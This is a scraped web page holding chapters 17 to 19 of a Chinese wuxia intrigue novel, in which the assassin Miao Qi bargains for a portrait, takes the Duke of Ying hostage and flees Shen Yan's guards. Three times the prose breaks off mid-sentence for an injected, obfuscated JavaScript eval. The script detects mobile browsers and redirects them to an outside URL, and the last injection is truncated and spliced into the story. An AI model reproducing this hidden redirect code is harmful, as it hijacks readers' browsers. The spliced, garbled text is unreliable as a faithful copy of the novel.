一听这个“又”字,老翁手抖了抖,而后阴阳怪气问:“某人前去江湖,怎回来得如此之快?” “想是因为院首之请无足轻重。” “你——”韩仲孝欲怒又止,最后只压低声警告,“沈晏不会放你走,若你还想离开这儿,晚些时候给国公满意答复。” 渺七只是眨巴下眼:“噢。” 韩仲孝闭目长叹声,倏尔神情一变,取出渺七适才别在他腰间那根枝桠气冲冲挥起来,渺七目光越过他,只见穆冲一脸狐疑从屋中出来。 17. 〇二 “你做了什么?” 穆冲走近后,眯着眼问渺七。 渺七看一眼做戏做得认真的韩仲孝,又被他威胁一眼,才道:“只是觉得这枝桠碍眼,随手帮他折下来。” “如今可不是在岛上,休要乱来。”他警告完渺七,又看韩仲孝,“哑伯,此人初来府上,不懂规矩,往后不会再犯。” “哑伯”听他这样说,这才收起枝桠,继续弓腰修剪盆景。 此情此景,渺七竟莫名品出几分趣味来,却又不知该如何用言语形容这般趣味,只想,如若裴皙也在此处,她或许可以向他请教。 可一想到裴皙,渺七又忍不住蹙起眉,直到屋内又出来两人,她才松解眉头看将去。 正是昨夜外屋里当值的青年与密室中当值的随尘,眼下随尘披散着墨色长发,背着画轴,一副不羁模样朝盆景园外去,渺七见到他,一言不发跟上,穆冲则紧随她身后。 三人走成一串,一直走到游廊底下,那背画轴的少年才伫足回头,不耐烦问:“你们要跟我到几时?” 渺七便正色说:“我有话要与你说。” “你是谁,我凭什么听你说话?” 随尘口吻有些冲,穆冲这时才笑上声,意味深长对渺七道:“原来你们不认识。” 渺七充耳未闻,只一瞬不瞬盯着随尘。 少年面容阴郁看她,终究还是示意她说来听听,渺七便附到他耳旁说了句什么,随后便见那张阴郁的面孔转红。 良晌,随尘道:“你随我来。” 穿过游廊,便至园中一独院,院落不大,满院皆种着竹。渺七跟进院中,穆冲却在进院时教随尘拦下,他因此不悦:“霄首命我看紧她,若她从你这儿逃走——” “不必你狐假虎威,我也能看紧她。” 随尘打断他,看穆冲时目光倨傲,犹如看一只蝼蚁。穆冲闻言面色阴沉,却只握紧拳不再说话。 …… 湘妃竹影后,书房紧闭,渺七站在书桌前大肆挥洒笔墨,不久作出一幅画,问一旁坐着的随尘:“你可认得此人?” 随尘虽满脸写着不耐烦,却还是起身来瞧,一瞧便深皱眉头,否认道:“想必不认得。” 渺七不死心,挥笔指向画上人的眼睛:“你再看看?” 只见随尘面上露出有些古怪的神情,问她:“独眼?” 渺七点头,便知他也在岛上待过,见过独眼其人。 “……” “那我的画可是不好认?” “……”随尘忍耐会儿,实话实说,“你若不说所画是人,我认作豺狼虎豹也不为过。” 渺七不禁蹙眉。 离开青州王府前,她曾留一封书信和一幅画作给裴皙,信是为了告知裴皙独眼每年冬日会在云南曲靖府一带出没,画则是为了告知他独眼是何样貌。不过那日她画了几幅也没能画好,实在生气便背上包袱走人,只留下幅勉强的画作。 直到来时她在密室中见到随尘所画华湘,两相对比才觉裴皙兴许走到那画中人面前也认不出他,遂才动了找上随尘的念头。 渺七这时因随尘的评价陷入沉思,随尘面色更加阴郁,问她:“画也画了,你说的那秘密究竟是什么?” 适才渺七附在他耳边,便是告知他她知晓一个有关华湘的秘密。 可渺七竟似未闻般,自顾自接着先前话说:“你既还记得他,方便与我画一幅他的画像吗?” “不方便。”随尘冷冷看她。 “噢,华赤乌似乎体质有异。” 随尘面色一变:“你休要胡言!她、她虽待人不同,但并非有异。” 渺七原本不解其意,但见他说完面红耳热,好像明白过来什么,毕竟华湘在岛上时的传闻流传甚广。 “我是说她身体有恙。” 她换了种说法,却又遭随尘呵斥:“你胡说,华赤乌好得很。” “你不信就算了。” 渺七转身要走,随尘忙又伸臂拦住她:“话未说清楚,谁准你离开?” “那你替我画一幅独眼的像。”渺七得寸进尺。 随尘沉默看她许久,最终攥紧拳,妥协道:“好,但我只短短见过他两面,记不大清他是何模样。” “无妨,比我画得像便是。” “休要折辱人。” “……” 渺七觉得,折辱人的兴许是他才对。 随尘绕到案边作画,渺七趁机张望起书室。 此人称华湘为赤乌,想来并非日院中人,但他却能独居在这处院落里,适才她作画时,还有人特意为他送来早膳,而他在穆冲面前,更是一副不将他放在眼里的模样,看来颇有些来头。 渺七思索一番,定睛看向随尘,问他:“你不吃我能吃吗?” 问的自然是适才送来的早膳,随尘听后嫌弃看她眼,但还是让她吃。渺七遂坐下惬意吃起豆粥,又问:“你是什么人?” “关你什么事?”随尘这回眼皮都懒得掀一下。 “那这里是什么地方?” “信——”随尘就要答她,但转念打住,不再理睬她。 “你平日能出去吗?” “我劝你不该打的主意还是不打为妙。” 渺七不语,知道问不出什么,专心吃起早膳。 静默多时,随尘终于搁下画笔,叫来吃饱喝足的某人问:“你看如何?” 只见画中人没有头发,缠布罩住一只眼,另一只眼眯笑成缝,双耳招风,鼻头扁圆,笑容慈厚,与渺七印象中人几乎一致。 渺七欲拿画纸,手却教随尘拍开:“画还未干,现在便告诉我你知道些什么。” 渺七只从怀中掏出张已然皱巴巴的纸给他,随尘接过辨了许久,问:“这是药方?” 原是渺七离开青州王府那日周鸿泰给她开的方子,渺七借花献佛,将青州王府里老大夫有关月经不调的理论与随尘谈一遍,顺便编了几句此药方能缓解疼痛这类话夹在其间。 随尘当即又变换几番脸色,一边面红耳赤听,一面执笔誊抄,待他抄完,画作也已晾干,便将画和药方一并给她。 渺七没想到这人竟还会将药方还她,她在岛上还从未见过这样的人,若是其他人,收下的东西便已是自己的,再无归还之理,这是教他们妙手空空术的教习说的“笑纳”。 她想着将画和药方一并揣进怀中,既不答谢也不告辞,径自出屋。 屋外风起,竹影婆娑,渺七绕过竹丛,便瞧见洞门外穆冲又换回笑脸,再往外走,又见沈晏蹲在路旁逗弄那只小猴。 瞥见她出来,沈晏召回小猴抱在怀中,转身看来。 “做了什么?”他笑眯眯问她。 渺七想了想,说:“我说了你也不会信。” 沈晏便笑着向穆冲使个眼神,待穆冲跑进小院里才又说:“走罢,谢老国公已经候你多时。” 渺七一听谢老国公,便明白早先韩仲孝的警告是何意思,思及此,心下不免打了打鼓,但依旧沉默随之前往。 - 另一头,随尘应付完穆冲的盘问,回居室清洗一番,然后换上身新衣,束起长发奔出小院。 寻至园西院落时,一女子正坐在院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369889|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中磨一口大刀,随尘越过她到廊下唤华湘,那女子回首看他,提醒道:“华赤乌吃完早膳便出去了。” 随尘沮丧几分,因问磨刀女子:“可有说去什么地方?” “未曾。” 随尘耷拉下脑袋,不死心坐到廊椅上相候,却因整夜当值未眠,不多会儿便在芭蕉叶下熟睡去。 不知几时院中风起,庭树翻响,一人轻拍几下随尘的脸颊,随尘恍惚睁眼,见是华湘,立时红着脸起身:“华赤乌。” 华湘立于廊下,似笑非笑抱臂问他:“不是说过不要大张旗鼓来寻我吗?” “我……” “到时季院首不悦,倒霉的可是我。” 随尘垂丧埋头,华湘这时却又笑推开小室房门,道:“进来说话,省得教人看去。” 少年跟入,坐于书几旁,华湘这才给他颗甜枣,伸手理他睡得凌乱的头发,问他:“彻夜未眠,不好生歇息跑来我这儿做什么?还睡在外头。” “我早间得了副药方,便想给你送来。” “药方?什么药方?” “是你同我提过的渺七……”他说到渺七时模样有些生气,“她给我的药方。” 随尘取出药方递出,面红耳热将渺七一早寻上他与他做交易一事说与华湘,华湘听得乐不可支,最后说:“你这买卖做得可真亏。” “我就知是她胡说!” “不,她话倒不假,只不过玄霄中女子反而抱恙才好。” “为何?” 华湘接过药方垂眸端量,神色幽淡:“你是男子,不懂女子若来经水有多不便,轻者不便使拳脚,重者坐立皆腹痛难忍,每月来这么遭又怎练得好本领?” 而她,为跻身日院,更不该教此等死症左右。 不过…… 华湘皱眉,想到她似乎已有一年没来过经水了,一种不妙的感觉袭来。 随尘亦望着她出神,华湘回神后,随手将方子压到花瓶下,转头问他:“除我之外,可还有人知她与你要了独眼的画像?” 随尘似不明白她为何这般问,但还是如实说来:“她才去不久,穆冲便来院里问我了。” 华湘眼帘轻垂,若有所思,忽而听得随尘腹中传出阵辘辘声,睨向他问:“怎么,晌饭也不吃就来了吗?” 随尘这才知他这一睡已然睡到午后,故点点头,还可怜兮兮告状:“连早饭也不曾吃,我为她作画,她却将我的饭吃了。” 华湘闻言又笑,随尘这才觉得不是滋味,问她:“你出去做了什么,为何才回来?” “怎么,想管我的事?” 随尘急忙否认:“我只是问问。” 华湘便挑眉,不甚在意道:“不过是去乐坊见了个相好的妹妹。” 随尘垂首不语。 “与她谈谈心罢了,何苦愁眉苦脸?” 随尘一听,耳根红了几分。 是时,一股疾风猛地吹入未闭的房门,炎夏的泥腥味扑鼻。两人转头看去屋外,只见一道迅电划破阴云,庭中微闪…… 亦是这时,一支弩箭直直射来屋内,牢牢扎在墙上。 “什么人!” 随尘立即闪身到门外查看,未见异样,再回头,身后雷声轰鸣,而屋内华湘已拔下那支弩箭。 “谁人的弩?”随尘走近问道,神情严肃,不复早先的羞涩。 “不认得,应当不是我们的人。”华湘不动声色将弩箭递给他,“你瞧瞧看?” 随尘接过,华湘则将那张随箭而来的字条不着痕迹地藏起,不曾留意到随尘那缕瞟向她手心的目光。 18. 〇三 跟随沈晏前去见英国公的路上,渺七又一次回想起在竹林中时谢离与她说的话。 “渺七,你还真教人钦佩。” “院首有话直说。” 谢离收起玉笛,重又坐来炊火旁,望着跳跃的火苗,缓缓说道:“这可是你说的,那我便再与你絮叨絮叨。” “……” “想来你已不记得此事,可我却忘不了那日初见你。我问你家在何处,你说你已离家,我又问你为何离家,你说因他们令你不高兴,那时你虽已跟人打得头破血流,狼狈可怜,可不知为何,在我看来你是那般威风凛凛,好似哪吒在世…… “后来我才知那时我错了,你可远比哪吒厉害,哪吒削肉剔骨,是为偿父母生养之恩,他生前还是一孝子,而你渺七,活着已然不懂何谓孝,只因他们令你不悦,便罔顾一切情意莽撞出走。 “可是渺七,天下何以会有你这般的人物?好似生来空空,好生令人钦佩……” 谢离望着她,目光些许迷惘,“有时我想,若我得你一半决心,或许早已离了这里,早已不将那人放在心中敬仰,再不给他施舍我的机会,可我终归不是你。 “到头来,我也只有决心做一回哪吒,而非渺七。” 谢离说罢,拔出那把重剑,最后一次摩挲他视作性命的武器。 “我死之后,带我头颅前去复命。” …… 渺七随沈晏走进一深院里,来时韩忠孝已脱下哑伯那身行头,白衣白面立于庭中,见得沈晏,拱手行礼,沈晏只与他微微颔首,而后领着渺七进了堂屋内。 “让国公久等,您要见的人晚辈带来了。” 英国公谢枢端坐堂上,闻言静默不语,只端量着渺七,沈晏则在说罢后上首而坐,怀抱小猴同样无言。 只有渺七立于堂下,见谢枢打量她,她也打量起谢枢。 谢枢年逾古稀,面容清癯不苟言笑,此时手捧茶盏端坐,端的是一副文人雅士高风亮节的模样,丝毫瞧不出是那次夜闯英国公府时见到睡得鼾声如雷的老头。 老人虽发已花白,眼却清明不见浑浊,两道目光落在渺七身上,好似能将人看穿,好在任凭他再怎么洞察人心也洞察不出渺七所想是他打鼾之事。 静默半晌后,谢枢总算出言,却非对渺七说,而是问沈晏:“老夫此番前来是为谈家事,子静对老夫的家事也如此上心吗?” 撵人的意思再明白不过,沈晏笑道:“事关玄霄,想也不全是国公府家事。”说完停顿片时,再道,“不过国公既已开口,晚辈便先行告辞,还望国公莫要为难渺七。” 待沈晏走出堂屋后,谢枢才放下茶盏,再度垂眸看向渺七,许久,方才耐人寻味地叫她声:“渺七——”稍顿,接着问她,“我儿是你所杀?” “你儿是谁?” “我儿恒初。” “我不认得什么恒初。” “……”谢枢冷哼声,“不认得恒初,那谢离你总认得?” 渺七遂点头,一副老实相:“哦,是院首命我杀他的。” “那么,也是他命你将他头颅带回,悬于我床架之上?” “是。” 渺七应得毫不含糊,仿佛这原是天大的事实。 老人眯起眼眸,再问:“连句遗言也不曾留?” 渺七思绪飘忽,想起那日在竹林中时谢离似乎的确还留有几句遗言命她复命时转达,但她早已记不太清,只记得其中似有一句“孩儿不孝”。 于是渺七摇头答谢枢:“不曾。” 谢枢沉默,良久又问:“那头颅既已送回,你为何又将他盗走?” “我只盗过一人头颅,但并非是国公府出殡。” “你若再装傻,可离不开这里了。” 渺七只好眨眨眼,好像妥协般说:“是因为院首料定国公不会认他这个儿子,所以事先命我盗走,自行安葬他。” 谢枢立时重重哼上声:“一派胡言,恒初乃我儿,我知其为人,他断不会命你做出此等离经叛道之事。” 好耳熟。 渺七这才抬起眼,双目直视谢枢,问他:“那国公觉得院首该当如何?” 谢枢沉吟,许久才强调似的再说一遍:“恒初一向温驯,不会忤逆至此。” “可他死给你看,已然是忤逆。” 一语如石子投入湖中,谢枢瞳孔蓦地一张,堂上一时陷入静默。 渺七想,她大约明白了一些事,明白谢离那日欲说还休的是些什么—— 他为星院不平,也为自己不平,却只用死来抗议玄霄,包括他的父亲,希冀这般便能改变星院葬送的命运。 想到此处,渺七隐约又觉知到某种情绪,可终究没能洞悉是何种情绪。她只看向堂上沉默的老人,又说:“院首说他很钦佩哪吒,哪吒剔骨还父,他便割头还你。” 老国公闭目,深吸口气问:“还我?还了我又要了回去,就这般还我吗?” 渺七:“……” 忘了她从中作了些主张。 “告诉我他现在何处,”老人语调缓慢,似开恩般,“我愿迎他回祖坟安葬。” 渺七想了想,摇头:“也许他不想回。” 毕竟谢离从未安排过别的后事,他从始至终只是在林中挖了个坑,然后躺下。 “也许,你凭什么替他决定?” “那你又凭什么替他决定?” “凭我是他父亲。” “那凭什么你是他父亲?” “……”老国公再度闭眼,终究是忍无可忍,抬高声唤庭中人,“仲孝。” 韩仲孝应声进门,继而眼前一黑,咬牙质问:“渺七!你做什么?” 原是渺七已闪身到老人家身旁,一手钳住了谢枢咽喉。 渺七闻言正色答他:“他叫你来,定是想要你杀我,我自是挟持他。” 谢枢:“……” 老人抬手遏制欲出手的韩忠孝,一面侧转脖颈,抬眼问渺七:“是沈晏示意你这般做?” 渺七眨眼,不懂他为何这般猜测,但想也不想地点头。 谢枢不由一笑:“适才的确想让仲孝杀你,不过眼下,我想恒初愿将你摘出星院自有他的道理。” “什么道理?国公有话直说。” 渺七不明白,不明白为何他们人人都明白,唯独她自己不明白。 可谢枢和其他人一样,并不直说,只是按下这话端,商量般问她:“渺七,我可以放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377241|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,但沈晏能放过你吗?据老夫所知,他对你前去寻青州王一事可是怒不可遏。” 渺七只是皱眉。 何以天下全是拐弯抹角之人? 真教人讨厌。 但她还是稍稍松开钳制谢枢咽喉的手,问他:“你是说你能带我离开?” “自然,不过老夫毕竟不是此地的主人,便是想带你走,也需主人答应才是。” “可主人不就是沈晏吗?” “他?”谢枢懒洋洋质问句,口吻轻蔑又傲慢,“他算什么东西?” 只知儿女情长,没脑子的蠢货罢了。 “那主人究竟是谁?” “你不必知晓太多,届时自有人放你离开。” 渺七紧盯老人,不悦至极:“我凭什么信你,你连这是什么地方都藏着掖着不肯说。” 说罢手中没轻没重一捏,谢枢喉腔中便发出阻遏声,涨红脸面,韩仲孝忙呼道:“渺七!” 一语令渺七目光射向他,韩仲孝对上那双眼眸,不觉一愣,只觉其间未掺杂任何杂质,决然又无畏。 此前谢离与他的一番谈话随之在耳畔回响—— “仲孝,不是我在护着她,而是我在护着其他人……渺七此人,最是无情无义,无忠无孝,以她的脾性,捅破天都不足为奇,哪怕会头破血流她也在所不惜。” 韩仲孝不由得放缓口吻,似示弱,告诉她:“此处乃是信王府别院,你若在此轻举妄动,后果不堪设想。” 信王? 渺七虽处星院,从未涉足权贵党争,却也常有刺杀朝官的任务交给她,对于天下形势并非一片空白。 五年前,先帝裴屹骤然驾崩,朝野震动,其时储君裴皙因身患奇疾,沉疴不起,恐天命将尽,而国不可一日无君,众臣遂拥立先帝幼子裴皓为新帝。然天子年方六岁,难理朝政,故由皇叔信王辅佐政务,以摄政王之名代揽国事,时至今日,信王仍为摄政王,权柄日重。 渺七挟持着谢枢,若有所思。她从不知玄霄背后会是这样庞大的势力。 “渺七,你不该卷入这些事中。”韩仲孝好言相劝,“谢兄既全力保你离开,你现在收手,国公定不会为难你,定会助你离开此地。” 韩仲孝这话倒像是将谢枢架起,等着谢枢表态。 偏偏渺七还在接话:“可我劫持了他照样可以离开,还会更快。” “……” 这时谢枢出言:“你可考虑清楚了,若老夫有半点闪失,从这里出去后,你身后可不止是沈晏的人,你一人之力,能逃多久,能挡多久?” 渺七蹙起眉,出于本能地思索着。 …… 钳着谢枢走出院落时,韩忠孝蹙眉紧跟在渺七身后,沿着来路走出不远,便见沈晏与穆冲于亭下相候,沈晏见渺七此举,惊愕一瞬即刻命渺七收手。 见渺七无动于衷,韩仲孝又怒斥她一声:“渺七!” 渺七看看韩仲孝,这才松开谢枢,此后沈晏也只得亲自与谢枢致歉,相送离去,离开前只嘱咐穆冲:“带她回院中,看好她,待我回来亲自责罚。” 既是有意说给谢枢听,也是说给渺七听,前者听罢只是拂袖而去,后者则还是副事不关己模样。 19. 〇四 引渺七回去的路上,见渺七仍旧是那副浑不吝模样,穆冲不由得情绪复杂,半天才对她道:“你还真是大胆,竟连老霄首也敢劫持,你可知他是英国公,这般做会给沈大哥添多大麻烦?” “是他自己要将这麻烦揽过去的,他本可以让我劫持着那人离开。” “你!” 穆冲原本的钦佩教她的话气了回去,懒得再说,只低咒句什么。 回院中时午时已过,早间只吃了随尘的早饭,渺七这时又觉腹中空空,但昨夜院中留下的吃食早已让人撤下,眼下屋里连滴水也不剩,她便又要去别处觅食。 “站住!”穆冲叫住她,“我想沈大哥适才说的话你也听见了。” “我饿了,要吃饭。” “你惹出这么大麻烦,还想吃——” 话没说完,便见渺七又朝院外闯,穆冲却不着急阻拦,只打住话语,脸上挂着笑,摆出副看她怎么跑的姿态。渺七便知除了他,院外还有其他人守着,索性转身回房中睡觉。 昨夜不得睡眠,眼下倒因庭树沙沙作响睡过去,不知睡到几时,渺七嗅到阵饭菜的香气,醒来推窗一看,原是早间那群侍女又送来饭菜。 渺七出屋,跟在一个侍女身后进了主屋中。 屏风之后,依旧满桌吃食,然今日仅摆一副碗筷,眼下沈晏已坐于主位之上,不紧不慢地削着一颗桃,而他左手边一如既往坐着那只小猴。 见人进来,沈晏才缓缓抬眼看渺七,道:“听穆冲说你饿了,可我昨夜听闻你已饱食,便以为今日你不吃也无妨,所以没有让人准备你的碗筷。” 渺七当下转身往外,沈晏则一副当真不欲留她的模样,仍坐在原处,将削好的桃递给小猴,一只手不轻不重地抚摸着小猴的脑袋。 庭院中,穆冲倚着门转着右手中的匕首,见渺七出来,难得笑得真心,只不过难免有几分贱兮兮,有意挑衅道:“适才吃得有些撑,若是有人肯与我打一架,倒正好消消食。” 渺七压根儿禁不住挑衅般,一副怒火朝天的模样与他打起来。 从门边打到中庭,穆冲总算拉近了与渺七的距离,两柄匕首也因此使得愈发自在,渺七有些许落入下风,飞速旋转剑柄,舞成一道银轮,以此挡开穆冲的刺击,再度拉开与他的距离。 穆冲不悦,又以迅雷之势逼近,招招抢攻,一边还说话:“上次让你伤了我是我轻敌,这次我不会轻易——” “闭嘴,你说话很烦。” 饿肚子的渺七火气似乎格外大,穆冲没来得及放完狠话便被堵住嘴,气急败坏道:“你!我偏要说!” “我偏不让你说。” 渺七呛完声,手腕一抖,剑身又划出半弧,朝穆冲拦腰扫去,穆冲只得一个侧滚翻避开剑幕,然后矮身突进。 是时一阵猛风吹过,渺七的软剑在疾风中喑喑响动,有如汇入风势,原本轻巧的剑招陡然间多出几分磅礴之力,扫向穆冲下盘,一边还避开穆冲仓皇使出的匕首,直将他逼得后退。 眼见穆冲步伐散乱,天际猛地一亮,一道闪电撕裂黑云密布的天幕,剑刃映着电光直直刺向穆冲。 然这时滚雷炸响,一道不起眼的银光闪过中庭,一枚暗镖正中渺七右腕,渺七整条右臂的力道便如同决堤般一泻千里。电光石火间,穆冲绕至她身后,将匕首架到她脖颈之上,而银镖割破处,鲜血淋淋。 渺七抬起手腕看上眼,分明厌恶疼痛,可看伤处时却像在看旁人的血,随后将目光转向罪魁祸首所在。 芙生平静迎上她目光,良晌视线越过她,唤道:“霄首。” 又一道惊雷声中,沈晏缓步绕至渺七身前,从渺七手中接过软剑,道:“你看,又受伤了。” 渺七不接话,他便接着说,“渺七,我并非想伤你,我只是想要你乖点。” 他伸手将软剑交与芙生,渺七再看一眼芙生,收回目光问沈晏:“像那只猴子吗?” “不好吗?”沈晏问着,看穆冲一眼,穆冲收起匕首退回屋中,他接着说,“每日有人喂养有人服侍,吃得好睡得好,不正合你心意吗?” 说到此处,他倏地又笑得像是换了个人,反驳自己道:“当然不好,你是渺七,天地间最无定形,最厌恶约束之人。” 然话音方落,一根麻绳就陡然从渺七身后套来,渺七急欲回身,却教沈晏一把捏住适才为银镖所伤的手腕,她不觉忍痛抬头。 沈晏仍瞧着她笑,手上力道半分不减,解释道:“怕你待会儿又生气与我打架,我可打不过你。” 说罢接过穆冲手中的绳子,将人捆好牵回饭桌旁落座。 屋中只两人一猴,沈晏坐回座位上,像审视一只才捕获的野兽那般看渺七,开口道:“折腾了一日,可以好生与我谈谈了吗?” 渺七不开口,仍执拗着。 “说话。” 回应他的依旧是沉默,沈晏嘴角向下压几分。 屋外黑云翻墨,风雨欲来。 沈晏僵持片刻后取来那只空碗,盛一碗鸡汤坐到渺七身旁,舀一勺汤送到她唇边:“吃东西总该愿意张嘴了罢?” 渺七总算抬眼看他,双目漆黑。 沈晏对上那双好若没有情绪的眼,握着汤匙的手微微用力。 “渺七,你可知我最恨你什么?”他盯着她的眼,问得突兀,其后自问自答道,“我最恨你的眼睛——尤其是像现在这样。” 一双天下最空无一物的眼睛,仿佛容不下任何人事。 渺七不解,只问他:“你到底想让我做什么?” 沈晏为人阴晴不定渺七早在千矶岛上时便已知晓,不过那时他只是星院中毫不起眼的一个小角色,无论他如何搅扰渺七,渺七都可以轻易避开,可如今他摇身成了霄首,远比从前强硬难缠,更令人生厌。 “渺七,我只想要你待我公正点。” “什么意思?” “……” 沈晏咬了咬牙:“那我便再与你说得明白些,我想要你眼里也有我。” “我又不是瞎子,为何没你?” “你是不瞎,可你渺七眼里永远不会装下其他人,我本可以不介怀,只要你眼里也不会有旁人,可我昨晚发现并非如此,只要一提到某人的名字,你眼中便生出波澜……” 说到此处,他口吻好似压抑着恨意,“就连现在也一样,我还未提起他的名字,你眼中便有了波动。” “……” “为何?为何你眼中偏偏有他?”窗外又一道电影闪过,渺七微微蹙眉,沈晏却还自说自话,“因他身份尊贵,可以予你庇护?还是因为……” 又一道雷滚过屋顶,震得窗棂发颤,一呼一吸间,天幕压抑已久的黑云泻下倾盆大雨,屋外雨打庭树,噼啪作响。 沈晏的话似教这动静淹没,渺七却听清,目露茫然。 下一瞬,屋外有人叩门,传话说信王召见,沈晏蓦地握紧拳,深吸口气挥退那人。那人退下后,沈晏目光重新落回渺七脸上,见她一副懵懂茫然,好似他并不存在的模样,只觉心下不宁。 右手忍不住落到渺七面颊上,轻得宛如是在确认她的存在,但只片刻后,他便忽地用力攫住她脸颊。 待渺七回神,他才冷声道:“渺七,谢老国公即便能帮你,也只能帮到此处了,就算是信王也休想让我放你离开。” 说罢,方才松开手,在渺七颊畔留下两块无血色的圆斑。 一旁观戏已久的小猴见状立刻跳到桌上,沈晏却只抚摸下它的脑袋,对它说:“不便带你,乖乖等我回来。” 似是对小猴说,又似对渺七说。 渺七抬起眼,看他抬步往外的背影—— 他好像成竹在胸,可他甚至以为谢枢真的会帮她。 …… 房门紧闭,窗外风雨大作。 渺七坐在满桌冷炙前,反手用一支沾血的银镖割起腕上的绳索。 银镖正是适才芙生打她的那支,她虽不明白芙生为何不收回暗器,但她既然拿走了她的剑,她也可以笑纳她的镖。 绳索极粗,渺七左手的鞭伤久久未愈,右手手腕又添镖伤,故动作不哪般利索,偏偏那只小猴就坐在桌上,睁着葡萄般的眼抓耳挠腮看她,渺七和它对视许久后,凶道:“再看我就杀了你。” 小猴似懂非懂歪了歪头,而后立起身,到果盘中取来一颗桃,送到渺七嘴边。 渺七动作顿了顿,低头咬上一口,然后便像是来了劲,又用力磨起身后的绳索。 这时,小猴忽然抛开桃子,一跃跳到渺七腿上,再攀绕至渺七身后。 渺七扭回头看,只见一只毛绒绒的小家伙在身后忙碌,她心底隐隐浮起一个猜测,直到小猴跳回桌上,她感觉到绳索的松动,那个猜测才不可思议地落在实处。 它替她松了绑。 渺七解开束缚,右腕之上血已微凝,她没找到武器,只用银镖割一截衣袍包裹住伤口。 看来沈晏警惕她到连削完桃的小刀都收起来,但他无论如何也想不到,是他全然不警惕的小猴替她松了绑。 渺七又看看小猴,其后无言抱起饭桶,边吃边步履轻盈踱至窗下,戳破油纸窗向外窥探。 猛风飘电,黑雨倾盆,穆冲坐在廊下百无聊赖把玩两柄匕首。 渺七观望几时,饭也去了大半,她摸了摸肚子,活动下拳脚,而后走至门边踢门而出,如流电般奔向院外。 穆冲坐在廊下怔然片刻,即刻跃身追出:“渺七!” 骤雨倾盆,渺七没有趁手的武器,不欲与之缠斗,听穆冲跑来蓦然回身打出支银镖,飞电之隙,穆冲侧身闪避,却又让渺七一手扯下他束发所用簪冠。 雨打乌丝,一缕湿发干扰他视野,渺七便趁势夺走他左手之上的匕首,穆冲右手挑刺,渺七别过手腕躲开,一得手便毫不恋战跑开。 二人边跑边斗,一路斗至随尘的住处,却扑了个空。 渺七攒眉一瞬,当下攀越至书房前一竿老竹上。 谢离曾说,凡有树之处,皆有渺七生路。 普天之下,无有几人能有这般灵活的腿脚,能自如在树间游走,好似山间生灵。 穆冲见状,欲扎刺渺七足踝,却遭她一脚踢开,但他另只手敏捷扯住她的腿,正是这时,眼前忽地扑闪过什么东西,穆冲不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆冲瞳孔微缩,以两把匕首格挡开,弩箭落地之时,渺七已冲出院外与华湘打了起来,而随尘也回身寻去那弩箭飞来的方向,其间无一人开口发号施令,但凭各自做出决断。 飞箭虽招架不住大刀,华湘的软鞭总是能挡上几招的。 雨幕下,华湘暗红的衣服经雨淋湿,几近黑色,而鸣鞭电抹,在阴雨间宛若银蛇。 渺七一面疾走,华湘一面穷追不舍,亏得是在林园间,渺七快便寻到一棵可以逃生的老柳。回首之时,银鞭再次如蛇般吞噬来,渺七双手各执一箭,看准鞭梢来势,猛地交叉一剪,旋上几转,将鞭尾与箭矢绞缠在一起。 正这时候,随尘那头似乎追寻未果,也返回寻华湘,渺七因绞住华湘的银鞭,才得闲瞄了眼随尘,此刻他与穆冲等人站在一处,目光同样望着树下。 “在看谁?” 雨幕含糊了人声,只有她们彼此能听见,渺七收回目光,不声响,但华湘竟像是识破她所想,道:“你想挟持随尘?” 她说着,扯动绞缠的银鞭,绷得笔直,弩箭箭杆几近断裂,接着道,“他虽颇有身份,但与霄首相比,那些人更怕后者,毕竟他可是信王的义子。” 华湘似有意透露这话,说话间动作亦连贯不断,腕上猛地添了一股力,终于绞断两支箭矢,在摆脱渺七牵制的瞬间甩动其上缠绕的箭矢,其中一支断裂的箭矢犹如流星重重击向渺七,正中渺七回身逃离的后背。 渺七蓦地吃痛,与此同时听见华湘压低的声音:“向南。” 大雨使渺七眯起眼眸,迟疑一瞬,听信她的话上树往南奔去,华湘则气势汹汹追击去。 早在两年前,华湘回千矶岛上养伤,便是那段时间,她一有空便追着渺七跑。那时渺七仗着自己擅在树间游走,屡屡甩脱华湘,但华湘丝毫不服输,日复一日地追赶渺七,竟也练得身轻捷过人的身法。 两人朝南打了一路,园中众人冒雨追随,倒颇显滑稽。 打至湖畔再无绵树高墙,二人只好到地下斗,渺七到底力有不逮,身上又教银鞭鞭出数道血痕,眼见众人就要追来,华湘才说:“屋脊兽下乃信王客堂,若想劫持人质,劫贵客更有用。” 渺七最后望她眼,越过湖池重又上树,奋力奔往不远处的屋脊兽。 客堂之外,一人听得脚步声,走至廊下,渺七遂如飞鸟般从檐上飞扑下。 廊下之人即刻拔剑,却在仰头看清渺七面容后微怔一瞬,渺七便趁他失神之际闯入厅堂。 堂中,渺七如鬼魅般闪至贵客身后,以一片屋顶上取来的碎瓦抵在其颈侧,双目睨视堂中其余几人。 